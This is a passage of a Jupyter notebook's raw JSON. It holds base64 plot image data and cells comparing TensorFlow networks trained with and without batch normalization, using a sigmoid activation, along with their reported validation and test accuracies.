QVlZG\n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\ntxONRnn77bd5+OGHefPNN3njjTf4v//7P9599912y3LJJZdQUlLCQw89RHl5edqE8P3vf59x48Yx\nbNgwLrvsMgYPHgzA9ddfz+LFi1m2bBl1dXU899xzzeebO3cu5eXlBINBLr30Uu6//37ee+89Xnzx\nxebXKC8v58knn2Tp0qU8+eSTbNiwoc1rA5x22mlkZ2ezYMGCVtsffPBBRISlS5fy+OOPc/XVVzcn\nrnfeeYennnqKV155BYD33nuPWbNmsXLlSn7/+9+zevVq3nrrLa666ioeeOCBTP90GfNPTcHtUyjM\ntf4E03ukfqM/EGP2J02axMKFC1m4cCHf/e532bRpEwsXLqSoqIjTTz89o3Ocf/75hMNhwuEwgwcP\nZtu2bbz++utcdNFFzd/mL774Yl577TU+97nPdbms99xzD5dccgmRSISzzz67uXlrwYIF3H333dTW\n1rJr1y5GjRrFZz/72VbPXbVqFYcccginnHIKAIWFhc37zj77bIqKigAYOXIkn3zyCcOHDyedW265\nhTvuuIO77rqredvrr7/ODTfcAMDxxx/P4YcfzurVzvRv5557Lv37928+9pRTTuGQQw4B4KijjuLT\nn/40AKNGjWLRokVdfm/a47uaQmG+1RSM2RdN/QpLly5l9OjRnHrqqSxatKj5gpuJcLhlBGAwGOyw\n/TwUCpFIJJofd2UMfp8+fSgtLeX111+nvr6e6667jqeeeoqlS5fyjW98Y6/PuTflP+uss6irq+ON\nN97I6NxNSTHdawUCgebHgUDAk34H3ySFxsYGAAr7WFIwZl9MmjSJ5557jv79+xMMBunfvz979uxh\n0aJFaZNCQUEB1dXVnZ538uTJ/PWvf6W2tpaamhqeeeYZJk+eTHFxMdu3b6eiooKGhgaee+65VueO\nRCKdnjsWi/Hmm29y1FFHNSeAgQMHEolEmjvEU8t63HHHsWXLFhYvXgw4tbCuXoRvueWWVv0OkydP\nZu7cuQCsXr2a9evXc9xxx3Xp3Pubb5LCnkgdAEVWUzBmn4wZM4adO3dy6qmnttpWVFTEwIED2xw/\nZcoUVqxYwbhx43jyySfbPe/48eOZPn06EyZMYOLEiVxzzTWcdNJJZGVlceuttzJhwgTOPfdcjj/+\n+ObnTJ8+nZtuuolx48ZRV1fX5pxNfQpjx45lzJgxXHzxxfTt25dvfOMbjB49ms985jPNzUNN57v2\n2msZN24c8XicJ598khtuuIETTzyRc889t8t3Cp933nkMGjSo+fF1111HIpFgzJgxXHrppTzyyCOt\nagQHlap69gNMBVYBa4CZafYfDywCGoDvZXLOk08+Wbti1WtPqf64UN/59z+79PyebMGCBQe7CAdc\nb455xYoV7e6rqqo6gCXpHvwYs2rHcaf7jABLNINrrGcdzSISBB4EzsVZn3mxiMxT1RVJh+0CbgQ+\n71U5mlRGagHoW5Dn9UsZY0yP5WXz0QRgjaquVdVG4AngwuQDVHW7qi4Goh6WA4BjBznNRof0899s\nisYYkykvh6QOBZIH724EJnblRCIyA5gBUFxcTFlZ2V6fo+/uzRzW51hWL11J/ZpdXSlGjxWJRLr0\nnvVkvTnmoqKidjtu4/F4Rp26vYkfY4aO466vr+/y579H3KegqrOB2QAlJSXatflDSikrG9sj5h7Z\n38rKynwXd2+OeeXKle3ei+DHtQX8GDN0HHdOTg4nnXRSl87rZfPRJiD5bo5h7jZjjDHdlJdJYTFw\njIiMEJFs4DJgnoevZ4wxZh95lhRUNQZcD7wArAT+pKrLReRaEbkWQESGiMhG4LvALSKyUUQK2z+r\nMeZgOpBTZx9xxBGMGTOGcePGMWbMGP72t791+pyf/exnnR4zffr0VjestUdEuPnmm5sf33vvvdx2\n222dPq+n8/TmNVWdr6rHqupRqvpTd9ssVZ3l/r5VVYepaqGq9nV/r+r4rMaYg+VAT529YMECysvL\neeqpp5pnUu1IJkkhU+FwmKeffpqdO3d26fkHa+rrfdUjOpqNMe14fiZsXdr8MDceg+A+/rceMgam\n3Zl2l9dTZ7enqqqKfv36NT/+/Oc/z4YNG6ivr+c//uM/uPHGG5k5cyZ1dXWMGzeOUaNGMXfuXB57\n7DHuvfdeRISxY8fy+9//HoBXX32V++67j61bt3L33Xc312qShUIhZsyYwS9+8Qt++tOfttq3bt06\nvva1r7Fz504GDRrEww8/zGGHHcb06dPJycnh3Xff5fTTT6ewsJCPP/6YtWvXsn79en7xi1/wxhtv\n8PzzzzN06FCeffZZsrK61/ouvpnmwhiz77ycOjudKVOmMHr0aM4880zuuOOO5u1z5szh7bffZsmS\nJcyaNYuKigruvPNOcnNzKS8vZ+7cuSxfvpw77riDl19+mffee4/777+/+flbtmzh9ddf57nnnmPm\n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\nRK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa6b4f6fd0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 1, tf.nn.sigmoid)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In this example, we switched to a sigmoid activation function. It appears to hande the higher learning rate well, with both networks achieving high accuracy.\n", "\n", "The cell below shows a similar pair of networks trained for only 2000 iterations." ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:01<00:00, 1167.28it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.920799732208252\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:04<00:00, 490.92it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.951799750328064\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.9227001070976257\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9463001489639282\n" ] }, { "data": { "image/png": 